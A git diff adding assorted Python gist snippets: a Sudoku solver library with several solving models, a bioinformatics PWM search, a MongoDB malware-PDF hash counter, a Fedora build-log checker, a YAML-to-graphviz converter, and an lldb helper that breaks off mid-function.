+    return dict_to_string_(fixed, boxsize, padding, rowend, row_sep, box_sep, "")
+
+def string_to_dict(puzzle, boxsize):
+    """Returns a dictionary based on a Sudoku puzzle string."""
+    puzzle = strip_ws(puzzle)
+    d = {}
+    for cell in cells(boxsize):
+        if puzzle[cell - 1] != '.':
+            d[cell] = int(printable_to_int(puzzle[cell - 1]))
+    return d
+
+def graph_to_dict(graph):
+    """Colored graph to dictionary conversion."""
+    nodes = graph.node
+    return dict([(vertex, nodes[vertex].get('color')) for vertex in nodes])
+
+####################################################################
+# Graph output
+####################################################################
+
+def dimacs_string(graph):
+    """Returns a string in Dimacs-format representing 'graph'."""
+    s = ""
+    s += "p " + "edge " + str(graph.order()) + " " + str(graph.size()) + "\n"
+    for edge in graph.edges():
+        s += "e " + str(edge[0]) + " " + str(edge[1]) + "\n"
+    return s
+
+####################################################################
+# Constraint models
+####################################################################
+
+def add_row_constraints(problem, boxsize):
+    """add_row_constraints(problem, boxsize)
+
+    Adds to constraint problem 'problem', all_different constraints on rows."""
+    for row in cells_by_row(boxsize):
+        problem.addConstraint(constraint.AllDifferentConstraint(), row)
+
+def add_col_constraints(problem, boxsize):
+    """add_col_constraints(problem, boxsize)
+
+    Adds to constraint problem 'problem', all_different constraints on columns."""
+    for col in cells_by_col(boxsize):    
+        problem.addConstraint(constraint.AllDifferentConstraint(), col)
+
+def add_box_constraints(problem, boxsize):
+    """add_box_constraints(problem, boxsize)
+
+    Adds to constraint problem 'problem', all_different constraints on boxes."""
+    for box in cells_by_box(boxsize):
+        problem.addConstraint(constraint.AllDifferentConstraint(), box)
+
+def empty_puzzle_as_CP(boxsize):
+    """empty_puzzle(boxsize) -> constraint.Problem
+
+    Returns a constraint problem representing an empty Sudoku puzzle of 
+    box-dimension 'boxsize'."""
+    p = constraint.Problem()
+    p.addVariables(cells(boxsize), symbols(boxsize)) 
+    add_row_constraints(p, boxsize)
+    add_col_constraints(p, boxsize)
+    add_box_constraints(p, boxsize)
+    return p
+
+def puzzle_as_CP(fixed, boxsize):
+    """puzzle_as_CP(fixed, boxsize) -> constraint.Problem
+
+    Returns a constraint problem representing a Sudoku puzzle, based on 
+    'fixed' cell dictionary."""
+    p = empty_puzzle_as_CP(boxsize)
+    for cell in fixed:
+        p.addConstraint(constraint.ExactSumConstraint(fixed[cell]), [cell])
+    return p
+
+def to_minion_3_string_s(fixed, boxsize):
+    n = n_rows(boxsize)
+    s = n_symbols(boxsize)
+    def header():
+        return "MINION 3\n"
+    def variables():
+        return "**VARIABLES**\nDISCRETE l[" + str(n) + "," + str(n) +"] {1.." + str(s) +"}\n"
+    def search():
+        return "**SEARCH**\nPRINT ALL\n"
+    def row_constraint(row):
+        return "alldiff(l[" + str(row - 1) + ",_])\n"
+    def column_constraint(col):
+        return "alldiff(l[_," + str(col - 1) + "])\n"
+    def box_constraint(box):
+        return 'alldiff([' + string.strip(reduce(operator.add, ['l[' + str(row(cell, boxsize) - 1) + ',' + str(column(cell, boxsize) - 1)+'],' for cell in box]),',') + '])\n'
+    def clue_constraint(clue):
+        return "eq(l[" + str(row(clue, boxsize) - 1) + "," + str(column(clue, boxsize) - 1) + "]," + str(fixed[clue]) +")\n"
+    def row_constraints():
+        return reduce(operator.add, [row_constraint(row) for row in rows(boxsize)])
+    def column_constraints():
+        return reduce(operator.add, [column_constraint(col) for col in cols(boxsize)])
+    def box_constraints():
+        return reduce(operator.add, [box_constraint(box) for box in cells_by_box(boxsize)])
+    def clue_constraints():
+        if len(fixed)==0:
+            return ""
+        else:
+            return reduce(operator.add, flatten([clue_constraint(clue) for clue in fixed]))
+    def constraints():
+        return "**CONSTRAINTS**\n" + row_constraints() + column_constraints() + box_constraints() + clue_constraints()
+    def footer():
+        return "**EOF**"
+    return header() + variables() + search() + constraints() + footer()
+
+####################################################################
+# Graph models
+####################################################################
+
+def empty_puzzle_as_graph(boxsize):
+    """empty_puzzle_as_graph(boxsize) -> networkx.Graph
+
+    Returns the Sudoku graph of dimension 'boxsize'."""   
+    g = networkx.Graph()
+    g.add_nodes_from(cells(boxsize))
+    g.add_edges_from(dependent_cells(boxsize))
+    return g
+
+def puzzle_as_graph(fixed, boxsize):
+    """Graph model of Sudoku puzzle of dimension 'boxsize' with 'fixed'
+    cells."""
+    g = empty_puzzle_as_graph(boxsize)
+    for cell in fixed:
+        g.node[cell]['color'] = fixed[cell]
+    return g
+
+####################################################################
+# Vertex coloring algorithms
+####################################################################
+
+def neighboring_colors(graph, node):
+    """Returns list of colors used on neighbors of 'node' in 'graph'."""
+    return filter(None, [graph.node[neighbor].get('color') for neighbor in graph.neighbors(node)])
+
+def n_colors(graph):
+    """The number of distinct colors used on vertices of 'graph'."""
+    return len(set([graph.node[i]['color'] for i in graph.nodes()]))
+
+def least_missing(colors):
+    """The smallest integer not in 'colors'."""
+    colors.sort()
+    for color in colors:
+        if color + 1 not in colors:
+            return color + 1
+
+def first_available_color(graph, node):
+    """The first color not used on neighbors of 'node' in 'graph'."""
+    used_colors = neighboring_colors(graph, node)
+    if len(used_colors) == 0:
+        return 1
+    else:
+        return least_missing(used_colors)
+
+def saturation_degree(graph, node):
+    """Saturation degree of 'node' in 'graph'."""
+    return len(set(neighboring_colors(graph, node)))
+
+class FirstAvailableColor():
+    """First available color choice visitor."""
+
+    def __call__(self, graph, node):
+        return first_available_color(graph, node)
+
+class InOrder():
+    """Natural vertex ordering strategy."""
+
+    def __init__(self, graph):
+        self.graph = graph
+
+    def __iter__(self):
+        return self.graph.nodes_iter()
+
+class RandomOrder():
+    """Random vertex ordering strategy."""
+
+    def __init__(self, graph):
+        self.graph = graph
+        self.nodes = self.graph.nodes()
+
+    def __iter__(self):
+        random.shuffle(self.nodes)
+        return iter(self.nodes)
+
+class DSATOrder():
+    """Saturation degree vertex ordering strategy."""
+
+    def __init__(self, graph):
+        self.graph = graph
+        self.nodes = self.graph.nodes()
+        self.value = 0
+
+    def dsatur(self, node):
+        return saturation_degree(self.graph, node)
+
+    def next(self):
+        self.value += 1
+        if self.value > self.graph.order(): raise StopIteration
+        self.nodes.sort(key = self.dsatur)
+        return self.nodes.pop()
+
+    def __iter__(self):
+        return self
+
+def vertex_coloring(graph, nodes = InOrder, choose_color = FirstAvailableColor):
+    """Generic vertex coloring algorithm. Node ordering specified by 'nodes'
+    iterator. Color choice strategy specified by 'choose_color'."""
+    nodes = nodes(graph)
+    for node in nodes:
+        if not graph.node[node].get('color'):
+            graph.node[node]['color'] = choose_color()(graph, node)
+    return graph
+
+####################################################################
+# Polynomial system models
+####################################################################
+
+def cell_symbol_names(boxsize):
+    """The names of symbols (e.g. cell 1 has name 'x1') used in the polynomial
+    representation."""
+    return map(lambda cell:'x' + str(cell), cells(boxsize))
+
+def cell_symbols(boxsize):
+    """The cells as symbols."""
+    return map(sympy.Symbol, cell_symbol_names(boxsize))
+
+def symbolize(pair):
+    """Turn a pair of symbol names into a pair of symbols."""
+    return (sympy.Symbol('x' + str(pair[0])),sympy.Symbol('x' + str(pair[1])))
+
+def dependent_symbols(boxsize):
+    """The list of pairs of dependent cells as symbol pairs."""
+    return map(symbolize, dependent_cells(boxsize))
+
+def node_polynomial(x, boxsize):
+    """The polynomial representing a cell corresponding to symbol 'x'."""
+    return sympy.expand(reduce(operator.mul, [(x - symbol) for symbol in symbols(boxsize)]))
+
+def edge_polynomial(x, y, boxsize):
+    """The polynomials representing the dependency of cells corresponding to
+    symbols 'x' and 'y'."""
+    return sympy.expand(sympy.cancel((node_polynomial(x, boxsize) - node_polynomial(y, boxsize))/(x - y)))
+
+def node_polynomials(boxsize):
+    """All cell polynomials."""
+    return [node_polynomial(x, boxsize) for x in cell_symbols(boxsize)]
+
+def edge_polynomials(boxsize):
+    """All dependency polynomials."""
+    return [edge_polynomial(x, y, boxsize) for x, y in dependent_symbols(boxsize)]
+
+def empty_puzzle_as_polynomial_system(boxsize):
+    """The polynomial system for an empty Sudoku puzzle of dimension 
+    'boxsize'."""
+    return node_polynomials(boxsize) + edge_polynomials(boxsize)
+
+def fixed_cell_polynomial(cell, symbol):
+    """A polynomial representing the assignment of symbol 'symbol' to the cell
+    'cell'."""
+    return sympy.Symbol('x' + str(cell)) - symbol
+
+def fixed_cells_polynomials(fixed):
+    """Polynomials representing assignments of symbols to cells given by
+    'fixed' dictionary."""
+    return [fixed_cell_polynomial(cell, symbol) for cell, symbol in fixed.iteritems()]
+
+def puzzle_as_polynomial_system(fixed, boxsize):
+    """Polynomial system for Sudoku puzzle of dimension 'boxsize' with fixed
+    cells given by 'fixed' dictionary."""
+    return empty_puzzle_as_polynomial_system(boxsize) + fixed_cells_polynomials(fixed)
+
+####################################################################
+# Linear program models
+####################################################################
+
+def lp_matrix_ncols(boxsize): return n_cells(boxsize) * n_symbols(boxsize)
+
+def lp_matrix_nrows(boxsize): return 4*boxsize**4 # what is the origin of this number?
+
+def lp_vars(boxsize):
+    """Variables for Sudoku puzzle linear program model."""
+    return list(itertools.product(cells(boxsize), symbols(boxsize)))
+
+def lp_col_index(cell, symbol, boxsize):
+    """The column of the coefficient matrix which corresponds to the variable
+    representing the assignment of 'symbol' to 'cell'."""
+    return (cell - 1)*n_symbols(boxsize) + symbol - 1
+
+def lp_occ_eq(cells, symbol, boxsize):
+    """Linear equation (as list of coefficients) which corresponds to the cells
+    in 'cells' having one occurence of 'symbol'."""
+    coeffs = lp_matrix_ncols(boxsize)*[0]
+    for cell in cells:
+        coeffs[lp_col_index(cell, symbol, boxsize)] = 1
+    return coeffs
+
+def lp_nonempty_eq(cell, boxsize):
+    """Linear equation (as list of coefficients) which corresponds to 'cell' 
+    being assigned a symbol from 'symbols'."""
+    coeffs = lp_matrix_ncols(boxsize)*[0]
+    for symbol in symbols(boxsize):
+        coeffs[lp_col_index(cell, symbol, boxsize)] = 1
+    return coeffs
+
+def lp_occ_eqs(cells_r, boxsize):
+    """Linear equations (as lists of coefficients) which correspond to the
+    cells in cells_r having one occurence of every symbol."""
+    return [lp_occ_eq(cells, symbol, boxsize) for cells in cells_r for symbol in symbols(boxsize)]
+
+def lp_nonempty_eqs(boxsize):
+    """Linear equations (as lists of coefficients) which correspond to 
+    every cell having one symbol."""
+    return [lp_nonempty_eq(cell, boxsize) for cell in cells(boxsize)]
+
+def lp_coeffs(boxsize):
+    """Linear equations (as lists of coefficients) which correspond to 
+    the empty Sudoku puzzle."""
+    return lp_occ_eqs(cells_by_row(boxsize), boxsize) + lp_occ_eqs(cells_by_col(boxsize), boxsize) + lp_occ_eqs(cells_by_box(boxsize), boxsize) + lp_nonempty_eqs(boxsize)
+
+def lp_matrix(boxsize):
+    """Linear equations (as list of coefficients) which correspond to 
+    the empty Sudoku puzzle."""
+    return list(flatten(lp_coeffs(boxsize)))
+
+def empty_puzzle_as_lp(boxsize):
+    """Linear program for empty Sudoku puzzle."""
+    lp = glpk.LPX()
+    lp.cols.add(lp_matrix_ncols(boxsize))
+    lp.rows.add(lp_matrix_nrows(boxsize))
+    for c in lp.cols:
+        c.bounds = 0.0, 1.0
+    for r in lp.rows:
+        r.bounds = 1.0, 1.0
+    lp.matrix = lp_matrix(boxsize)
+    return lp
+
+def add_clue_eqn(cell, symbol, boxsize, lp):
+    """Add to 'lp' the linear equation representing the assignment of 'symbol'
+    to 'cell'."""
+    lp.rows.add(1)
+    r = lp_matrix_ncols(boxsize)*[0]
+    r[lp_col_index(cell, symbol, boxsize)] = 1
+    lp.rows[-1].matrix = r
+    lp.rows[-1].bounds = 1.0, 1.0
+
+def puzzle_as_lp(fixed, boxsize):
+    """Linear program for Sudoku with 'fixed' clues."""
+    lp = empty_puzzle_as_lp(boxsize)
+    for cell in fixed:
+        symbol = fixed[cell]       
+        add_clue_eqn(cell, symbol, boxsize, lp)
+    return lp
+
+def lp_to_dict(lp, boxsize):
+    names = lp_vars(boxsize)
+    sol = {}
+    for c in lp.cols:
+        if c.value == 1:
+            sol[names[c.index][0]] = names[c.index][1]
+    return sol
+
+def solve_lp_puzzle(lp, boxsize):
+    """Solve a linear program Sudoku and return puzzle dictionary."""
+    lp.simplex()
+    for col in lp.cols:
+        col.kind = int
+    lp.integer()
+    return lp_to_dict(lp, boxsize)
+
+####################################################################
+# Puzzle solving
+####################################################################
+
+def solve_as_CP(fixed, boxsize):
+    """Use constraint programming to solve Sudoku puzzle of dimension 'boxsize'
+    with 'fixed' cells."""
+    return puzzle_as_CP(fixed, boxsize).getSolution()
+
+def solve_as_lp(fixed, boxsize):
+    """Use linear programming to solve Sudoku puzzle of dimension 'boxsize'
+    with 'fixed' cells."""
+    return solve_lp_puzzle(puzzle_as_lp(fixed, boxsize), boxsize)
+
+def solve_as_groebner(fixed, boxsize):
+    """Use groebner bases algorithm to solve Sudoku puzzle of dimension 
+    'boxsize' with 'fixed' cells."""
+    g = puzzle_as_polynomial_system(fixed, boxsize)
+    h = sympy.groebner(g, cell_symbols(boxsize), order = 'lex')
+    s = sympy.solve(h, cell_symbols(boxsize))
+    keys = [int(symbol.name.replace('x','')) for symbol in s.keys()]
+    values = [i.__int__() for i in s.values()]
+    return dict(zip(keys, values))
+
+def solve_as_graph(fixed, boxsize):
+    """Use vertex coloring to solve Sudoku puzzle of dimension 'boxsize'
+    with 'fixed' cells."""
+    g = puzzle_as_graph(fixed, boxsize)
+    cg = vertex_coloring(g, DSATOrder)
+    return graph_to_dict(cg)
+
+def solve_puzzle(fixed, boxsize, model = 'CP'):
+    """Solve 'puzzle' exploiting 'model' ('lp', 'graph', 'CP', 'groebner')."""
+    if model == 'CP':
+        return solve_as_CP(fixed, boxsize)
+    elif model == 'lp':
+        return solve_as_lp(fixed, boxsize)
+    elif model == 'graph':
+        return solve_as_graph(fixed, boxsize)
+    elif model == 'groebner':
+        return solve_as_groebner(fixed, boxsize)
+    else:
+        raise NameError('No such model.')
+
+def solve_puzzles(puzzles, boxsize, model = 'CP'):
+    """Solve every puzzle in iterable 'puzzles'."""
+    return [solve_puzzle(puzzle, boxsize, model) for puzzle in puzzles]
+
+def solve_puzzles_s(puzzles_s, boxsize, model = 'CP'):
+    """Solve every puzzle string in iterable 'puzzles'."""
+    return solve_puzzles(map(lambda puzzle:string_to_dict(puzzle, boxsize), puzzles_s), boxsize, model)
+
+####################################################################
+# File handling
+####################################################################
+
+def dimacs_file(graph, outfile):
+    """Output to 'outfile' a graph in Dimacs format."""
+    out = open(outfile, 'w')
+    out.write(dimacs_string(graph))
+    out.close()
+
+####################################################################
+# Puzzle generators
+####################################################################
+
+def random_filter(puzzle_d, n_fixed, boxsize):
+    """A puzzle dictionary of a random Sudoku puzzle of 'fixed' size
+    based on the Sudoku 'puzzle' dictionary."""
+    fixed = copy.deepcopy(puzzle_d)
+    keys = fixed.keys()
+    random.shuffle(keys)
+    indices = keys[:len(keys) - n_fixed]
+    for i in indices:
+        del fixed[i]
+    return fixed
+
+def random_fixed(n_fixed, boxsize, model = 'CP'):
+    """Random puzzle generator, based on solution of empty puzzle."""
+    s = solve_puzzle({}, boxsize, model)
+    return random_filter(s, n_fixed, boxsize)
+
+####################################################################
+# Verification
+####################################################################
+
+def is_row_latin(puzzle, boxsize):
+    """Test latin-ness of 'puzzle' rows."""
+    return are_all_different_nested(puzzle_rows(puzzle, boxsize))
+
+def is_column_latin(puzzle, boxsize):
+    """Test latin-ness of 'puzzle' columns."""
+    return are_all_different_nested(puzzle_columns(puzzle, boxsize))
+
+def is_box_latin(puzzle, boxsize):
+    """Test latin-ness of 'puzzle' boxes."""
+    return are_all_different_nested(puzzle_boxes(puzzle, boxsize))
+
+def is_sudoku(puzzle, boxsize):
+    """Test whether 'puzzle' is a Sudoku puzzle of dimension 'boxsize'."""
+    return is_row_latin(puzzle, boxsize) and is_column_latin(puzzle, boxsize) and is_box_latin(puzzle, boxsize)
+
+def is_solution(fixed, puzzle, boxsize):
+    """Test whether 'fixed' cells have same values in 'puzzle'."""
+    return all(map(lambda x: fixed[x] == puzzle[x], fixed))
+
+def is_sudoku_solution_d(fixed, puzzle, boxsize):
+    """Test whether 'puzzle' is a solution of 'fixed'."""
+    return is_sudoku(puzzle, boxsize) and is_solution(fixed, puzzle, boxsize)
+
+def is_sudoku_solution_s(fixed_s, puzzle_s, boxsize):
+    """Test whether 'puzzle_s' string is a solution of 'fixed_s' string."""
+    fixed = string_to_dict(fixed_s, boxsize)
+    puzzle = string_to_dict(puzzle_s, boxsize)
+    return is_sudoku_solution_d(fixed, puzzle, boxsize)
+
+def verify_solutions(puzzles, solutions, boxsize, verify_solution = is_sudoku_solution_d):
+    """Test whether the iterable 'puzzles' has a solution in the 
+    corresponding position of iterable 'solutions'."""
+    return all(itertools.imap(lambda puzzle, solution: verify_solution(puzzle, solution, boxsize), puzzles, solutions))
+
+####################################################################
+# Enumeration
+####################################################################
+
+def count_solutions_d(puzzle_d, boxsize):
+    return len(puzzle_as_CP(puzzle_d, boxsize).getSolutions())
+
+def count_and_solve_d(puzzle_d, boxsize):
+    s = puzzle_as_CP(puzzle_d, boxsize).getSolutions()
+    return len(s), s[0]
+
+def is_well_formed_d(puzzle_d, boxsize):
+    return count_solutions_d(puzzle_d, boxsize) == 1
+
+def well_formed_solution_d(puzzle_d, boxsize):
+    n, s = count_and_solve_d(puzzle_d, boxsize)
+    if n != 1:
+        raise NameError("Not well-formed")
+    return s
+
+####################################################################
+# Puzzle
+####################################################################
+
+class Puzzle:
+
+    def __init__(self, fixed, boxsize, format = 'd'):
+        self.boxsize = boxsize
+        if format == 'd':
+            self.fixed = fixed
+        elif format == 's':
+            self.fixed = string_to_dict(fixed, boxsize)
+        else:
+            raise NameError('No such format: ' + format)
+
+    def __repr__(self):
+        return dict_to_string(self.fixed, self.boxsize, padding = 1, rowend = "\n")
+
+    def _repr_latex_(self):
+        s = r"""$$\begin{array}"""
+        s += '{' + self.boxsize*('|' + self.boxsize*'c') + '|' + '}'
+        s += dict_to_string_(self.fixed, self.boxsize, padding = 0, rowend = "\\\\ \n", row_sep = "\hline ", box_sep = "", col_sep = " & ", last_row_hack = "\hline")
+        s += r"""\end{array}$$"""
+        return s
+
+    def __str__(self):
+        return self.__repr__()
+
+    def get_boxsize(self):
+        return self.boxsize
+
+    def get_fixed(self):
+        return self.fixed
+
+def random_puzzle(n_fixed, boxsize, model = 'CP'):
+    return Puzzle(random_fixed(n_fixed, boxsize, model), boxsize)
+
+def solve(puzzle, model = 'CP'):
+    fixed = puzzle.get_fixed()
+    boxsize = puzzle.get_boxsize()
+    return Puzzle(solve_puzzle(fixed, boxsize, model), boxsize)
+
+def is_sudoku_solution(puzzle, solution):
+    puzzle_f = puzzle.get_fixed()
+    solution_f = solution.get_fixed()
+    boxsize = solution.get_boxsize()
+    return is_sudoku_solution_d(puzzle_f, solution_f, boxsize)
+
+def count_solutions(puzzle):
+    puzzle_d = puzzle.get_fixed()
+    boxsize = puzzle.get_boxsize()
+    return count_solutions_d(puzzle_d, boxsize)
+
+def is_well_formed(puzzle):
+    puzzle_d = puzzle.get_fixed()
+    boxsize = puzzle.get_boxsize()
+    return is_well_formed_d(puzzle_d, boxsize)
+
+def well_formed_solution(puzzle):
+    puzzle_d = puzzle.get_fixed()
+    boxsize = puzzle.get_boxsize()
+    return Puzzle(well_formed_solution_d(puzzle_d, boxsize), boxsize)
+
+def diff(p1, p2):
+    p1_s = p1.__repr__()  
+    p2_s = p2.__repr__()
+    print(diff_s(p1_s, p2_s))
+
+def to_minion_string(puzzle):
+    puzzle_d = puzzle.get_fixed()
+    boxsize = puzzle.get_boxsize()
+    return to_minion_3_string_s(puzzle_d, boxsize)
\ No newline at end of file
diff --git a/hard-gists/764262/._snippet.py b/hard-gists/764262/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/764262/._snippet.py differ
diff --git a/hard-gists/764262/snippet.py b/hard-gists/764262/snippet.py
new file mode 100644
index 00000000..582939aa
--- /dev/null
+++ b/hard-gists/764262/snippet.py
@@ -0,0 +1,137 @@
+"""
+PWMSearch
+
+Searches through a fasta sequence for the relevant Position Weight Matrices 
+from the Jaspar Database.
+
+"""
+from __future__ import division
+
+from optparse import OptionParser
+from itertools import groupby, izip, count, imap, islice
+import re, csv
+import MOODS
+from collections import defaultdict
+
+
+
+def isheader(line):
+    return line.startswith('>')
+
+def PWMIter(handle):
+    """Yields name/PWM"""
+    num_re = re.compile('\d{1,}')
+    line_gen = imap(lambda x: x.strip(), handle)
+    name = None
+    out = None
+    for header, lines in groupby(line_gen, isheader):
+        if header:
+            name = lines.next()[1:]
+        else:
+            out = []
+            for line in lines:
+                out.append(map(int, num_re.findall(line)))
+
+            yield name, out
+
+def transpose(input):
+    """transposes a list-of-lists"""
+
+    return map(None, *input)
+
+def ParseHeader(header):
+    """Parses the structured header to retrieve relevant info"""
+
+    parts = header.split('_')
+    odict = {}
+    odict['CHROM'] = parts[1]
+    odict['START'] = int(parts[2])
+    odict['STRAND'] = parts[4]
+    return odict
+
+
+def ProcessSeqs(SEQ_HANDLE, PWMS, THRESHOLD, WANT_REV = False, bg = None):
+    """Yields matches on sequences in an 'interval' formatted dictionary"""
+
+    pwm_names = map(lambda x: x[0], PWMS)
+    pwm_mats = map(lambda x: x[1], PWMS)
+    thresh = map(lambda x:MOODS.threshold_from_p(x, bg, THRESHOLD), pwm_mats)
+
+    for interval in ReadInterval(SEQ_HANDLE):
+        print interval['NAME']
+
+        results = MOODS.search(interval['SEQ'].upper(), pwm_mats, thresh,
+                               both_strands = WANT_REV, algorithm = 'lf',
+                               absolute_threshold = True, bg = bg)
+
+        for res, pwm_name, pwm_mat, th in zip(results, pwm_names, pwm_mats, thresh):
+            width = len(pwm_mat[0])
+            for position, score in res:
+                if score > th:
+                    yield {
+                        'NAME':interval['NAME'],
+                        'START':int(interval['START'])+position,
+                        'END':int(interval['START'])+width+position,
+                        'STRAND':interval['STRAND'],
+                        'PWM':pwm_name,
+                        'SCORE':score,
+                        'CHROM':interval['CHROM'],
+                        'SEQ':interval['SEQ'][position:(position+width)].upper()
+                    }
+                else:
+                    print 'got bad result'
+
+def ReadInterval(handle):
+    """Reads an Interval file and returns a list of dicts for each row"""
+
+    headers = ('CHROM', 'START', 'END', 'NAME', 'junk', 'STRAND',
+               'junk7', 'junk8', 'junk9', 'junk10', 'junk11',
+               'junk12', 'SEQ')
+
+    for row in csv.DictReader(handle, fieldnames = headers,
+                              delimiter = '\t'):
+        yield row
+
+
+def GetBG(handle):
+
+    d = defaultdict(int)
+    for row in islice(ReadInterval(handle), 10):
+        for r in row['SEQ'].upper():
+            d[r] += 1
+    s = sum(d.values())
+
+    return [d['A']/s, d['C']/s, d['G']/s, d['T']/s]
+
+
+if __name__ == '__main__':
+
+    parser = OptionParser()
+
+    (options, args) = parser.parse_args()
+
+    seqintervalfile = args[0]
+    jasparfile = args[1]
+    threshold = args[2]
+    output_file = args[3]
+
+    print 'Getting Background'
+    with open(jasparfile) as handle:
+        PWMS = list(PWMIter(handle))
+
+    with open(seqintervalfile) as handle:
+        bg = GetBG(handle)
+
+    fields = ('CHROM', 'START', 'END', 'STRAND', 'NAME', 'PWM', 'SCORE', 'SEQ')
+    with open(output_file, 'w') as handle:
+        handle.write('#'+'\t'.join(fields) + '\n')
+        with open(seqintervalfile) as f_handle:
+            writer = csv.DictWriter(handle, fields, )
+            for row in ProcessSeqs(f_handle, PWMS, float(threshold), bg = bg):
+                writer.writerow(row)
+
+
+
+
+
+
diff --git a/hard-gists/764746/._snippet.py b/hard-gists/764746/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/764746/._snippet.py differ
diff --git a/hard-gists/764746/snippet.py b/hard-gists/764746/snippet.py
new file mode 100644
index 00000000..ca88743c
--- /dev/null
+++ b/hard-gists/764746/snippet.py
@@ -0,0 +1,33 @@
+import pymongo
+import json
+from pymongo import Connection
+
+def connect_to_mongo(host, port, database, collection):
+	connection = Connection(host, port)
+	db = connection[database]
+	collection = db[collection]
+	return collection
+
+collection = connect_to_mongo("localhost", 27017, "pdfs", "malware")
+
+hash_count = {}
+
+for md5 in collection.find( {}, {"hash_data.hashes.objects.object.md5": 1, '_id':0}):
+	rjson =  json.dumps(md5)
+	ruse = json.loads(rjson)
+	hash_data = ruse.get("hash_data")
+	hashes = hash_data.get("hashes")
+	objects = hashes.get("objects")
+	object = objects.get("object")
+	
+	for obj in object:
+		md5 = str(obj.get("md5"))
+		if md5 in hash_count == True:
+			amount = hash_count[md5]
+			hash_count = amount + 1
+		else:
+			hash_count[md5] = 1
+	
+for k, v in hash_count.iteritems():
+	if v > 1:
+		print k, v
\ No newline at end of file
diff --git a/hard-gists/7652081/._snippet.py b/hard-gists/7652081/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7652081/._snippet.py differ
diff --git a/hard-gists/7652081/snippet.py b/hard-gists/7652081/snippet.py
new file mode 100644
index 00000000..1fcf1854
--- /dev/null
+++ b/hard-gists/7652081/snippet.py
@@ -0,0 +1,30 @@
+# Determine how many critical path packages failed to build from source using
+# gcc -Werror=format-security. https://fedoraproject.org/wiki/Changes/FormatSecurity
+
+import os
+import subprocess
+
+from collections import defaultdict
+from fedora.client import PackageDB
+
+pkgdb = PackageDB('https://admin.fedoraproject.org/pkgdb')
+critpath = pkgdb.get_critpath_pkgs(['devel'])['devel']
+print('%d critpath packages in devel' % len(critpath))
+
+logs = 'http://people.fedoraproject.org/~halfie/rebuild-logs.txt'
+if not os.path.exists('rebuild-logs.txt'):
+    subprocess.call('wget %s' % logs, shell=True)
+
+critpath_ftbfs = defaultdict(list)
+
+with file('rebuild-logs.txt') as log:
+    for line in log:
+        pkg = '-'.join(line.split(':')[0].split('-')[:-2])
+        if pkg in critpath:
+            critpath_ftbfs[pkg].append(line.strip())
+
+print('%d FTBFS with -Werror=format-security' % len(critpath_ftbfs))
+for pkg in sorted(critpath_ftbfs):
+    print('')
+    for line in critpath_ftbfs[pkg]:
+        print(line)
\ No newline at end of file
diff --git a/hard-gists/7653403/._snippet.py b/hard-gists/7653403/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7653403/._snippet.py differ
diff --git a/hard-gists/7653403/snippet.py b/hard-gists/7653403/snippet.py
new file mode 100644
index 00000000..bdc68a17
--- /dev/null
+++ b/hard-gists/7653403/snippet.py
@@ -0,0 +1,126 @@
+#!/usr/bin/python
+# vim: fileencoding=utf-8
+u'''Translate YAML written text to graphviz dot language
+
+Input YAML text like below:
+
+---
+employee:
+    - name
+    - age
+    - department ->
+    - manager -> employee
+
+department:
+    - name
+'''
+
+from __future__ import print_function
+
+import re
+import yaml
+
+
+class Item(list):
+    def __init__(self, name, iterable=[]):
+        self.name = name
+        super(Item, self).__init__(iterable)
+
+    def __repr__(self):
+        return '<{0} {1}>'.format(self.name, super(Item, self).__repr__())
+
+    def dot(self):
+        '''return dot language representation of this object
+        '''
+        table = [
+            u'<table bgcolor="#FAFAFA" border="0" cellborder="1"'
+            u' cellspacing="0" cellpadding="4">',
+            u'<tr><td align="center" bgcolor="#CCCCEE" port="f0">',
+            escape(self.name),
+            u'</td></tr>',
+        ]
+        arrows = []
+
+        for i, v in enumerate(self, 1):
+            mobj = re.match(r'^(.+)\s*->\s*(.+)?$', v, re.UNICODE)
+
+            if mobj:
+                v, arrow_to = mobj.groups()
+
+                if arrow_to is None:
+                    arrow_to = v
+
+                v = v.strip()
+                arrow_to = arrow_to.strip()
+
+                arrows.append(u'"{name}":f{i} -> "{arrow_to}" []'.format(
+                    name=escape(self.name), i=i, arrow_to=escape(arrow_to)))
+
+            table.extend([
+                u'<tr><td align="left" balign="left" port="f{}">'.format(i),
+                br(escape(v)),
+                u'</td></tr>',
+            ])
+
+        table.append(u'</table>')
+
+        return u'\n'.join([
+            u'{} ['.format(escape(self.name)),
+            u'    label = <{}>'.format('\n'.join(table)),
+            u']',
+            u'\n'.join(arrows),
+        ])
+
+
+def quote(s):
+    if not isinstance(s, basestring):
+        s = str(s)
+    return u'"%{}"'.format(s.replace(u'"', u'\\"'))
+
+
+def escape(s):
+    if isinstance(s, list):
+        s = u',\n'.join(s)
+    elif not isinstance(s, basestring):
+        s = str(s)
+    return s.replace(u'&', u'&amp;') \
+            .replace(u'>', u'&gt;') \
+            .replace(u'<', u'&lt;')
+
+
+def br(s):
+    if not isinstance(s, basestring):
+        s = str(s)
+    return s.replace(u'\n', u'<br />')
+
+
+def yaml_to_dot(yml):
+    items = [Item(name, contents) for name, contents in yaml.load(yml).items()]
+    dots = [
+        u'digraph g {',
+        u'graph [',
+        u'    rankdir = "LR"',
+        u']',
+        u'node [',
+        # TODO: allow to customize fontsize
+        u'    fontsize = "12"',
+        u'    shape = "plaintext"',
+        u']',
+        u'',
+    ]
+    dots.extend(item.dot() for item in items)
+    dots.append('}')
+
+    return u'\n'.join(dots)
+
+
+if __name__ == '__main__':
+    import sys
+
+    if len(sys.argv) > 1:
+        input = open(sys.argv[1], 'r')
+
+    else:
+        input = sys.stdin
+
+    print(yaml_to_dot(input).encode('utf-8'))
diff --git a/hard-gists/7669374/._snippet.py b/hard-gists/7669374/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7669374/._snippet.py differ
diff --git a/hard-gists/7669374/snippet.py b/hard-gists/7669374/snippet.py
new file mode 100644
index 00000000..750ffb3b
--- /dev/null
+++ b/hard-gists/7669374/snippet.py
@@ -0,0 +1,77 @@
+# -*- coding: utf-8 -*-
+
+import re
+import lldb
+
+
+def lsview(debugger, command, result, internal_dict):
+    root_view = _get_root_view()
+    view_hierarchy = get_view_hierarchy(root_view)
+    print_view_hierarchy(view_hierarchy)
+
+
+def print_view_hierarchy(view_hierarchy, indent=0):
